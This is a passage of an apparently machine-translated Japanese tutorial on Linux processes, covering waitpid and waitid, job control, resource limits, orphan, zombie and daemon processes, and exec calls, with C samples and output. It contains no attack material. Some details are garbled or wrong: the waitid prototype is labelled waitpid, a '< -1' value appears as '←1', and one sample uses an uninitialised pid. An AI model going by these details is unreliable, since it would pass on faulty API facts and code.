5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39/sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27/sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:41:15/sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  191762      0  0 05:47 ?        00:00:00 sh -c cd/home/cg/root/8023807; timeout 10s main
8023807  191768 191762  0 05:47 ?        00:00:00 timeout 10s main
8023807  191769 191768  0 05:47 ?        00:00:00 main
8023807  191770 191769  0 05:47 ?        00:00:00 main
8023807  192193      0  0 05:47 ?        00:00:00 sh -c cd/home/cg/root/8023807; timeout 10s main
8023807  192199 192193  0 05:47 ?        00:00:00 timeout 10s main
8023807  192200 192199  0 05:47 ?        00:00:00 main
8023807  192201 192200  0 05:47 ?        00:00:00 main
8023807  192202 192201  0 05:47 ?        00:00:00 ps -ef

-子は終了ステータス3を返しますが、親プロセスはそれを768と見なします。 ステータスは上位バイトに格納されるため、0X0300として16進形式で格納されます。これは10進数で768です。 正常終了は次のとおりです

Higher Order Byte (Bits 8 to 15) Lower Order Byte (Bits 0 to 7)
Exit status (0 to 255) 0

wait()システムコールには、次の子が終了するまでしか待機できないという制限があります。 特定の子を待つ必要がある場合、wait()を使用することはできませんが、waitpid()システムコールを使用することは可能です。

以下に説明するように、waitpid()システムコールは、指定された子が終了するのを待って、バッファに終了ステータスを返します。

#include <sys/types.h>
#include <sys/wait.h>

pid_t waitpid(pid_t pid, int *status, int options);

上記の呼び出しは、成功すると終了した子のプロセスIDを返し、失敗すると-1を返します。 waitpid()システムコールは、現在のプロセスの実行を一時停止し、指定された子(pid値による)が終了するまで無期限に待機します。 子からの終了ステータスは、ステータスで利用可能です。

pidの値は次のいずれかです-

  • ←1 -プロセスグループIDがpidの絶対値と等しい子プロセスを待ちます。
  • -1 -子プロセスを待機します。これは、wait()システムコールと同じです。
  • 0 -プロセスグループIDが呼び出しプロセスのIDと等しい子プロセスを待ちます。
  • *> 0 *-プロセスIDがpidの値に等しい子プロセスを待ちます。

デフォルトでは、waitpid()システムコールは終了した子のみを待機しますが、このデフォルトの動作はoptions引数を使用して変更できます。

ここで、プログラムをプロセスIDで特定のプロセスを待機する例として考えてみましょう。

====/*ファイル名:waitpid_test.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>

int main() {
   int pid;
   int pids[3];
   int status;
   int numprocesses = 0;
   int total_processes = 3;
   while (numprocesses < total_processes) {
      pid = fork();

     //Child process
      if (pid == 0) {
         printf("In child process: process id is %d\n", getpid());
         sleep(5);
         return 4;
      } else {
         pids[numprocesses] = pid;
         numprocesses++;
         printf("In parent process: created process number: %d\n", pid);
      }
   }

  //Waiting for 3rd child process
   waitpid(pids[total_processes - 1], &status, 0);
   if (WIFEXITED(status) != 0) {
      printf("process %d exited normally\n", pids[total_processes - 1]);
      printf("exit status from child is %d\n", WEXITSTATUS(status));
   } else {
      printf("process %d not exited normally\n", pids[total_processes - 1]);
   }
   return 0;
}

コンパイルおよび実行後、出力は次のとおりです。

In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4

さて、waitid()システムコールをチェックしましょう。 このシステムコールは、子プロセスが状態を変更するのを待ちます。

#include <sys/wait.h>

int waitpid(idtype_t idtype, id_t id, siginfo_t* infop, int options);

上記のシステムコールは、子プロセスが状態を変更するのを待機し、この呼び出しは、子プロセスのいずれかが状態を変更するまで、現在/呼び出しプロセスを中断します。 引数「infop」は、子の現在の状態を記録することです。 プロセスがすでに状態を変更している場合、この呼び出しはすぐに戻ります。

idtypeの値は、次のいずれかです-

  • P_PID -プロセスIDがidの子プロセスと等しい子プロセスを待ちます。
  • P_PGID -プロセスグループIDがidと等しい子プロセスを待ちます。
  • P_ALL -子プロセスを待機し、IDは無視されます。
  • オプション引数は、どの状態変化を指定することであり、これは、後述のフラグを使用してビット単位のOR演算で形成することができます-
  • WCONTINUED -停止され、継続されたすべての子のステータスを返します。
  • WEXITED -プロセスが終了するのを待ちます。
  • WNOHANG -すぐに戻ります。
  • WSTOPPED -シグナルを受信すると、停止した子のプロセスを待機し、ステータスを返します。

この呼び出しは、子の1つの状態の変化のために戻り、WNOHANGが使用される場合、0を返します。 エラーの場合は-1を返し、適切なエラー番号を設定します。

====/*ファイル名:waitid_test.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>

int main() {
   int pid;
   int pids[3];
   int status;
   int numprocesses = 0;
   int total_processes = 3;
   siginfo_t siginfo;
   while (numprocesses < total_processes) {
      pid = fork();

     //Child process
      if (pid == 0) {
         printf("In child process: process id is %d\n", getpid());
         sleep(5);
         return 2;
      } else {
         pids[numprocesses] = pid;
         numprocesses++;
         printf("In parent process: created process number: %d\n", pid);
      }
   }

  //Waiting for 3rd child process
   status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
   if (status == -1) {
      perror("waitid error");
      return 1;
   }
   printf("Info received from waitid is: ");
   printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
   return 0;
}

上記のプログラムの実行とコンパイルの後、結果は次のようになります。

In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875

プロセスグループ、セッション、ジョブ制御

この章では、プロセスグループ、セッション、およびジョブ制御に精通します。

プロセスグループ-プロセスグループは、1つ以上のプロセスの集合です。 プロセスグループは、同じプロセスグループ識別子(PGID)を共有する1つ以上のプロセスで構成されます。 プロセスグループID(PGID)は、プロセスIDと同じタイプ(pid_t)です。 プロセスグループにはプロセスグループリーダーがあります。これは、グループを作成し、そのプロセスIDがグループのプロセスグループIDになるプロセスです。

セッション-さまざまなプロセスグループのコレクションです。

ジョブコントロール-これにより、シェルユーザーは複数のコマンド(またはジョブ)を同時に実行できます。1つはフォアグラウンドにあり、残りはすべてバックグラウンドにあります。 ジョブをフォアグラウンドからバックグラウンドに、またはその逆に移動することもできます。

これをシェル(BASH)を使用したプログラム例の助けを借りて理解しましょう。

  • basic_commands.shという名前の基本的なコマンド(date、echo、sleep、cal)を実行するシェルスクリプト(BASH)
  • 基本コマンド(ps、echo)を実行するためのシェルスクリプト(BASH)
#!/bin/bash
#basic_commands.sh

date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal
#!/bin/bash
#process_status.sh

ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps

chmodコマンドを使用して、ファイルに実行権限を付与します。 デフォルトでは、通常のファイルは読み取りおよび書き込み権限のみを取得し、実行権限は取得しません。

現在実行中のプロセスを停止するには、CTRL + Zを入力する必要があります。 これにより、ジョブ番号が得られます。 ジョブは、フォアグラウンドまたはバックグラウンドで再開できます。 必要に応じて、フォアグラウンドでジョブを再開するには、「fg」コマンドを使用します。 必要に応じて、バックグラウンドでジョブを再開するには、「bg」コマンドを使用します。 これを使用すると、最後に停止したプロセスのみが実行されます。 最後に停止したプロセス以外を開始したい場合はどうしますか? fgまたはbgの後にジョブ番号を使用するだけです(たとえば、bg%2またはbg%3など)。 実行中のジョブがバックグラウンドにある場合、他のタスクをフォアグラウンドで実行できます。 ジョブのリストを取得するには、コマンド、ジョブを使用します。 CTRL + Cまたはkillコマンドを使用してプロセスを終了することもできます。 killコマンドの使用中にジョブ番号を渡すことができます。

ジョブの停止、フォアグラウンドからバックグラウンドへのジョブの移動、ジョブの終了などを示す次の出力を確認してください。

chmod u+x basic_commands.sh
chmod u+x process_status.sh

./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID   TTY   TIME     CMD
2295  pts/1 00:00:00 bash
4222  pts/1 00:00:00 basic_commands.
4224  pts/1 00:00:00 sleep
4225  pts/1 00:00:00 process_status.
4226  pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped      ./process_status.sh
jobs
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped      ./basic_commands.sh

jobs
[1]+ Stopped      ./basic_commands.sh
[2]- Stopped      ./process_status.sh

bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped      ./basic_commands.sh
jobs
[1]+ Stopped      ./basic_commands.sh
[2]- Running      ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
jobs
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
kill %1 %2
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh

[1]- Terminated   ./basic_commands.sh
[2]+ Terminated   ./process_status.sh

プロセスリソース

プロセスは、タスクを実行するためにCPUやメモリなどの特定のリソースを必要とします。 次に、関連コマンドとシステムコールを調べて、リソースの使用率と監視に関する情報を確認します。 また、リソースの各プロセスにはデフォルトで特定の制限があり、必要に応じて制限を強化してアプリケーション要件に対応できます。

以下は、コマンドを使用した重要なシステムまたはプロセスのリソース情報です-

トップコマンド

$ top

topコマンドは、システムリソースの使用状況を継続的に表示します。 プロセスによってシステムが何らかのハング状態(CPUまたはメモリをより多く消費する)になった場合、プロセス情報を書き留め、適切なアクション(関連プロセスの強制終了など)を行うことができます。

psコマンド

$ ps

psコマンドは、実行中のすべてのプロセスに関する情報を提供します。 これは、プロセスの監視と制御に役立ちます。

vmstatコマンド

$ vmstat

vmstatコマンドは、仮想メモリサブシステムの統計情報を報告します。 プロセス(実行待機、スリープ、実行可能プロセスなど)、メモリ(空き、使用中などの仮想メモリ情報)、スワップ領域、IOデバイス、システム情報(割り込みの数、コンテキストスイッチなど)の情報を報告します。 )およびCPU(ユーザー、システム、およびアイドル時間)。

lsofコマンド

$ lsof

lsofコマンドは、システムプロセスを含む現在実行中のすべてのプロセスの開いているファイルのリストを出力します。

getconfコマンド

$ getconf –a

getconfコマンドは、システム構成変数情報を表示します。

次に、関連するシステムコールを見てみましょう。

  • システムコールのgetrusage()。システムリソースの使用状況に関する情報を提供します。 *リソース制限へのアクセスと設定に関連するシステムコール。つまり、getrlimit()、setrlimit()、prlimit()。

システムリソース使用状況の呼び出し

#include <sys/time.h>
#include <sys/resource.h>

int getrusage(int who, struct rusage* usage);

システムコールgetrusage()は、システムリソースの使用状況に関する情報を返します。 これには、自己、子、または「who」変数のフラグRUSAGE_SELF、RUSAGE_CHILDREN、RUSAGE_THREADを使用した呼び出しスレッドに関する情報を含めることができます。 呼び出し後、構造rusageの情報を返します。

この呼び出しは、成功すると「0」を返し、失敗すると「-1」を返します。

次のサンプルプログラムを見てみましょう。

====/*ファイル名:sysinfo_getrusage.c */

#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rusage res_usage;
   int retval;
   retval = getrusage(RUSAGE_SELF, &res_usage);
   if (retval == -1) {
      perror("getrusage error");
      return;
   }
   printf("Details of getrusage:\n");
   printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
   printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
   printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
   printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
   printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
   printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
   printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
   printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
   printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
   return;
}

コンパイルおよび実行手順

Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1

ここで、リソース制限へのアクセスと設定に関連するシステムコールを見てみましょう。

#include <sys/time.h>
#include <sys/resource.h>

int getrlimit(int resource, struct rlimit* rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);

システムコール* getrlimit()*は、RLIMIT_NOFILE、RLIMIT_NPROC、RLIMIT_STACKなどの必要なリソースを入力することにより、構造体rlimitのリソース制限を取得します。

システムコール* setrlimit()*は、制限内である限り、rlimit構造で述べられているようにリソース制限を設定します。

システムコール* prlimit()*は、現在のリソース制限を取得したり、リソース制限を新しい値に更新したりするなど、さまざまな目的で使用されます。

構造rlimitには2つの値が含まれています-

  • ソフト制限-電流制限
  • ハード制限-拡張可能な最大制限。

RLIMIT_NOFILE-このプロセスで開くことができるファイル記述子の最大数を返します。 たとえば、1024を返す場合、プロセスには0から1023までのファイル記述子があります。

*RLIMIT_NPROC* -そのプロセスのユーザーに対して作成できるプロセスの最大数。
*RLIMIT_STACK* -そのプロセスのスタックセグメントのバイト単位の最大サイズ。

これらの呼び出しはすべて、成功すると「0」、失敗すると「-1」を返します。

getrlimit()システムコールを使用している次の例を考えてみましょう。

====/*ファイル名:sysinfo_getrlimit.c */

#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rlimit res_limit;
   int retval;
   int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
   int max_res;
   int counter = 0;
   printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
   max_res = sizeof(resources)/sizeof(int);
   while (counter < max_res) {
      retval = getrlimit(resources[counter], &res_limit);
      if (retval == -1) {
         perror("getrlimit error");
         return;
      }
      printf("Soft Limit is %ld\n", res_limit.rlim_cur);
      printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
      counter++;
   }
   return;
}

コンパイルおよび実行手順

Details of resource limits for NOFILE, NPROC, STACK are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432

getrlimit()システムコールを使用した別の例を考えてみましょうが、今はprlimit()システムコールを使用します。

====/* ファイル名:sysinfo_prlimit.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rlimit res_limit;
   int retval;
   int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
   int max_res;
   int counter = 0;
   printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
   max_res = sizeof(resources)/sizeof(int);
   while (counter < max_res) {
      retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
      if (retval == -1) {
         perror("prlimit error");
         return;
      }
      printf("Soft Limit is %ld\n", res_limit.rlim_cur);
      printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
      counter++;
   }
   return;
}

コンパイルおよび実行手順

Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432

その他のプロセス

これまで、プロセス、その作成、親および子プロセスなどについて説明してきました。 孤児プロセス、ゾンビプロセス、デーモンプロセスなど、他の関連プロセスについては説明せずに説明を不完全にします。

孤立プロセス

名前が示すように、孤立は親のないプロセスを意味します。 プログラムまたはアプリケーションを実行すると、アプリケーションの親プロセスはシェルになります。 fork()を使用してプロセスを作成する場合、新しく作成されたプロセスは子プロセスであり、子を作成したプロセスは親プロセスです。 同様に、これの親プロセスはシェルです。 もちろん、すべてのプロセスの親はinitプロセスです(プロセスID→1)。

上記は通常のシナリオですが、親プロセスが子プロセスの前に終了するとどうなりますか。 その結果、子プロセスは孤立プロセスになります。 その親はどうでしょうか。その新しい親はすべてのプロセスの親です。これはinitプロセス(プロセスID – 1)に他なりません。

次の例を使用して、これを試して理解してみましょう。

====/*ファイル名:orphan_process.c */

#include<stdio.h>
#include<stdlib.h>

int main() {
   int pid;
   system("ps -f");
   pid = fork();
   if (pid == 0) {
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(5);
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      system("ps -f");
   } else {
      printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(2);
      exit(0);
   }
   return 0;
}

コンパイルおよび実行手順

UID         PID   PPID  C STIME TTY    TIME CMD
4581875  180558      0  0 09:19  ?     00:00:00 sh -c cd/home/cg/root/4581875;
                                       timeout 10s main
4581875  180564 180558  0 09:19  ?     00:00:00 timeout 10s main
4581875  180565 180564  0 09:19  ?     00:00:00 main
4581875  180566 180565  0 09:19  ?     00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID         PID   PPID  C STIME TTY    TIME CMD
4581875  180567      0  0 09:19  ?     00:00:00 main
4581875  180820 180567  0 09:19  ?     00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0

ゾンビプロセス

簡単に言えば、2つのプロセス、つまり親プロセスと子プロセスがあると仮定します。 子プロセスを待機してから、プロセステーブルから子プロセスエントリをクリーンアップするのは、親プロセスの責任です。 親プロセスが子プロセスを待機する準備ができておらず、その間に子プロセスがジョブを完了して終了した場合はどうなりますか? これで、子プロセスがゾンビプロセスになります。 もちろん、親プロセスの準備が整うと、ゾンビプロセスはクリーンアップされます。

例の助けを借りてこれを理解しましょう。

====/* ファイル名:zombie_process.c */

#include<stdio.h>
#include<stdlib.h>

int main() {
   int pid;
   pid = fork();
   if (pid == 0) {
      system("ps -f");
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      exit(0);
   } else {
      printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(10);
      system("ps aux|grep Z");
   }
   return 0;
}

コンパイルおよび実行手順

UID         PID   PPID  C STIME TTY    TIME CMD
4581875  184946      0  0 09:20  ?     00:00:00 sh -c cd/home/cg/root/4581875;
                                       timeout 10s main
4581875  184952 184946  0 09:20  ?     00:00:00 timeout 10s main
4581875  184953 184952  0 09:20  ?     00:00:00 main
4581875  184954 184953  0 09:20  ?     00:00:00 main
4581875  184955 184954  0 09:20  ?     00:00:00 ps -f
Child: pid is 184954 and ppid is 184953

デーモンプロセス

簡単に言えば、関連するシェルや端末を持たないプロセスはデーモンプロセスと呼ばれます。 なぜこれが必要なのですか? これらは、事前定義された間隔でアクションを実行し、特定のイベントに応答するためにバックグラウンドで実行されるプロセスです。 デーモンプロセスは、バックグラウンドプロセスとして実行されるため、ユーザーの操作は必要ありません。

通常、内部Linuxデーモンプロセスは、カーネルデーモン(ksoftirqd、kblockd、kswapdなど)、印刷デーモン(cupsd、lpdなど)、ファイルサービスデーモン(smbd、nmbdなど)などの文字「d」で終了します。 、管理データベースデーモン(ypbind、ypservなど)、電子メールデーモン(sendmail、popd、smtpdなど)、リモートログインおよびコマンド実行デーモン(sshd、in.telnetdなど)、ブートおよび構成デーモン(dhcpd 、udevdなど)、initプロセス(init)、cronデーモン、atdデーモンなど。

デーモンプロセスの作成方法を見てみましょう。 手順は次のとおりです-

  • ステップ1 *-子プロセスを作成します。 これで、親プロセスと子プロセスの2つのプロセスができました。

通常、プロセス階層は、シェル→親プロセス→子プロセスです。

  • ステップ2 *-終了して親プロセスを終了します。 子プロセスは孤立プロセスになり、initプロセスに引き継がれます。

現在、階層はINIT PROCESS→CHILD PROCESSです

  • ステップ3 *-呼び出しプロセスがプロセスグループリーダーでない場合、setsid()システムコールを呼び出すと、新しいセッションが作成されます。 これで、呼び出しプロセスが新しいセッションのグループリーダーになります。 このプロセスは、この新しいプロセスグループとこの新しいセッションの唯一のプロセスになります。
  • ステップ4 *-プロセスグループIDとセッションIDを呼び出しプロセスのPIDに設定します。
  • ステップ5 *-端末とシェルがアプリケーションから切断されたため、プロセスのデフォルトのファイル記述子(標準入力、標準出力、標準エラー)を閉じます。

====/*ファイル名:daemon_test.c */

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>

int main(int argc, char* argv[]) {
   pid_t pid;
   int counter;
   int fd;
   int max_iterations;
   char buffer[100];
   if (argc < 2)
   max_iterations = 5;
   else {
      max_iterations = atoi(argv[1]);
      if ( (max_iterations <= 0) || (max_iterations > 20) )
      max_iterations = 10;
   }
   pid = fork();

  //Unable to create child process
   if (pid < 0) {
      perror("fork error\n");
      exit(1);
   }

  //Child process
   if (pid == 0) {
      fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
      if (fd == -1) {
         perror("daemon txt file open error\n");
         return 1;
      }
      printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
      printf("\nChild process before becoming session leader\n");
      sprintf(buffer, "ps -ef|grep %s", argv[0]);
      system(buffer);
      setsid();
      printf("\nChild process after becoming session leader\n");
      sprintf(buffer, "ps -ef|grep %s", argv[0]);
      system(buffer);
      close(STDIN_FILENO);
      close(STDOUT_FILENO);
      close(STDERR_FILENO);
   } else {
      printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
      printf("Parent: Exiting\n");
      exit(0);
   }

  //Executing max_iteration times
   for (counter = 0; counter < max_iterations; counter++) {
      sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
      write(fd, buffer, strlen(buffer));
      sleep(2);
   }
   strcpy(buffer, "Done\n");
   write(fd, buffer, strlen(buffer));

  //Can't print this as file descriptors are already closed
   printf("DoneDone\n");
   close(fd);
   return 0;
}
Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875  193525      0  0 09:23  ?      00:00:00 main
4581875  193526 193525  0 09:23  ?      00:00:00 sh -c ps -ef|grep main
4581875  193528 193526  0 09:23  ?      00:00:00 grep main
4581875  193525      0  0 09:23  ?      00:00:00 main
4581875  193529 193525  0 09:23  ?      00:00:00 sh -c ps -ef|grep main
4581875  193531 193529  0 09:23  ?      00:00:00 grep main

オーバーレイプロセスイメージ

プログラムを実行しており、現在のプログラムから別のプログラムを実行するとします。 これは可能ですか? プロセスイメージをオーバーレイするという概念を実装するのであれば、どうしてですか。 それは問題ありませんが、現在実行中のプログラムについてはどうでしょうか。 現在のプログラムを新しいプログラムでオーバーレイしたため、どのように可能ですか。 現在実行中のプログラムを失うことなく2つのプログラムを実行したい場合、どうすればよいですか? はい、可能です。

子プロセスを作成して、親プロセスと新しく作成された子プロセスを作成します。 すでに親プロセスで現在のプログラムを実行しているので、子で新しく作成されたプロセスを実行します。 このようにして、現在のプログラムから別のプログラムを実行できます。 単一のプログラムだけでなく、その数の子プロセスを作成することにより、現在のプログラムから任意の数のプログラムを実行できます。

次のプログラムを例として考えてみましょう。

===/*ファイル名:helloworld.c */

#include<stdio.h>

void main() {
   printf("Hello World\n");
   return;
}

===/* ファイル名:execl_test.c */

#include<stdio.h>
#include<unistd.h>

void main() {
   execl("./helloworld", "./helloworld", (char* )0);
   printf("This wouldn't print\n");
   return;
}

上記のプログラムは、execl_testのプロセスイメージをhelloworldでオーバーレイします。 そのため、execl_test(printf())のプロセスイメージコードは実行されません。

コンパイルおよび実行手順

Hello World

ここで、1つのプログラム(execl_run_two_prgms.c)から次の2つのプログラムを実行します。

  • Hello Worldプログラム(helloworld.c) *1から10まで印刷するwhileループプログラム(while_loop.c)

====/* ファイル名:while_loop.c */

/*Prints numbers from 1 to 10 using while loop*/
#include<stdio.h>

void main() {
   int value = 1;
   while (value <= 10) {
      printf("%d\t", value);
      value++;
   }
   printf("\n");
   return;
}

以下は、2つのプログラム(1つのプログラムは子から、もう1つのプログラムは親から)を実行するプログラムです。

====/*ファイル名:execl_run_two_prgms.c */

#include<stdio.h>
#include<unistd.h>

void main() {
   int pid;
   pid = fork();

  /*Child process*/
   if (pid == 0) {
      printf("Child process: Running Hello World Program\n");
      execl("./helloworld", "./helloworld", (char *)0);
      printf("This wouldn't print\n");
   } else {/*Parent process*/
      sleep(3);
      printf("Parent process: Running While loop Program\n");
      execl("./while_loop", "./while_loop", (char *)0);
      printf("Won't reach here\n");
   }
   return;
}

-sleep()呼び出しを配置し​​て、子プロセスと親プロセスが順番に実行されるようにします(結果と重複しないようにします)。

コンパイルおよび実行手順

Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here

ここで、1つのプログラム(execl_run_two_prgms.c)から2つのプログラムを実行します。上記と同じプログラムですが、コマンドライン引数を使用します。 そのため、2つのプログラム、つまり子プロセスのhelloworld.cと、親プロセスのwhile_loop.cプログラムを実行しています。 これは次のとおりです-

  • Hello Worldプログラム(helloworld.c)
  • コマンドライン引数(while_loop.c)に従って1からnum_times_strに出力するwhileループプログラム

このプログラムは、広く次のアクションを実行します-

  • 子プロセスを作成します
  • 子プロセスはhelloworld.cプログラムを実行します *親プロセスはwhile_loop.cプログラムを実行し、コマンドライン引数の値を引数としてプログラムに渡します。 コマンドライン引数が渡されない場合、デフォルトは10とみなされます。 それ以外の場合は、指定された引数値を取ります。 引数値は数値でなければなりません。コードは、アルファベットで指定されている場合は検証されません。

====/* ファイル名:execl_run_two_prgms.c */

#include<stdio.h>
#include<string.h>
#include<unistd.h>

void main(int argc, char* argv[0]) {
   int pid;
   int err;
   int num_times;
   char num_times_str[5];

  /*In no command line arguments are passed, then loop maximum count taken as 10*/
   if (argc == 1) {
      printf("Taken loop maximum as 10\n");
      num_times = 10;
      sprintf(num_times_str, "%d", num_times);
   } else {
      strcpy(num_times_str, argv[1]);
      printf("num_times_str is %s\n", num_times_str);
      pid = fork();
   }

  /*Child process*/
   if (pid == 0) {
      printf("Child process: Running Hello World Program\n");
      err = execl("./helloworld", "./helloworld", (char *)0);
      printf("Error %d\n", err);
      perror("Execl error: ");
      printf("This wouldn't print\n");
   } else {/*Parent process*/
      sleep(3);
      printf("Parent process: Running While loop Program\n");
      execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
      printf("Won't reach here\n");
   }
   return;
}

以下は、プログラムの子プロセスexecl_run_two_prgms.cから呼び出されるhelloworld.cプログラムです。

====/*ファイル名:helloworld.c */

#include<stdio.h>

void main() {
   printf("Hello World\n");
   return;
}

以下は、プログラムの親プロセスexecl_run_two_prgms.cから呼び出されるwhile_loop.cプログラムです。 このプログラムの引数は、これを実行するプログラム、つまりexecl_run_two_prgms.cから渡されます。

====/* ファイル名:while_loop.c */

#include<stdio.h>

void main(int argc, char* argv[]) {
   int start_value = 1;
   int end_value;
   if (argc == 1)
   end_value = 10;
   else
   end_value = atoi(argv[1]);
   printf("Argv[1] is %s\n", argv[1]);
   while (start_value <= end_value) {
      printf("%d\t", start_value);
      start_value++;
   }
   printf("\n");
   return;
}

コンパイルおよび実行手順

Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

ライブラリ関数に関連するオーバーレイ画像を見てみましょう。

#include<unistd.h>

int execl(const char *path, const char *arg, ...);

この関数は、引数、パス、および引数で説明されているように、現在実行中のプロセスイメージを新しいプロセスでオーバーレイします。 引数を新しいプロセスイメージに渡す必要がある場合、「arg」引数を介して送信され、最後の引数はNULLになります。

この関数は、エラーが発生した場合にのみ値を返します。 画像関連の呼び出しをオーバーレイするプロセスは以下のとおりです-

int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char *const envp[]);
int execv(const char* path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);

これらの呼び出しは、コマンドライン引数(argv [])、環境変数(envp [])およびその他のパラメーターの受け渡しに対処します。

関連システムコール(System V)

次の表に、さまざまなシステムコールとその説明を示します。

Category System Call Description
General open () This system call either opens an already existing file or creates and opens a new file.
General creat () Creates and opens a new file.
General read () Reads the contents of the file into the required buffer.
General write () Writes the contents of buffer into the file.
General close () Closes the file descriptor.
General stat () Provides information on the file.
Pipes pipe () Creates pipe for communication which returns two file descriptors for reading and writing.
Named Pipes or Fifo mknod () Creates a memory device file or special file to create FIFOs
Named Pipes or Fifo mkfifo () Creates a new FIFO
Shared Memory shmget () Creates a new shared memory segment or gets the identifier of the existing segment.
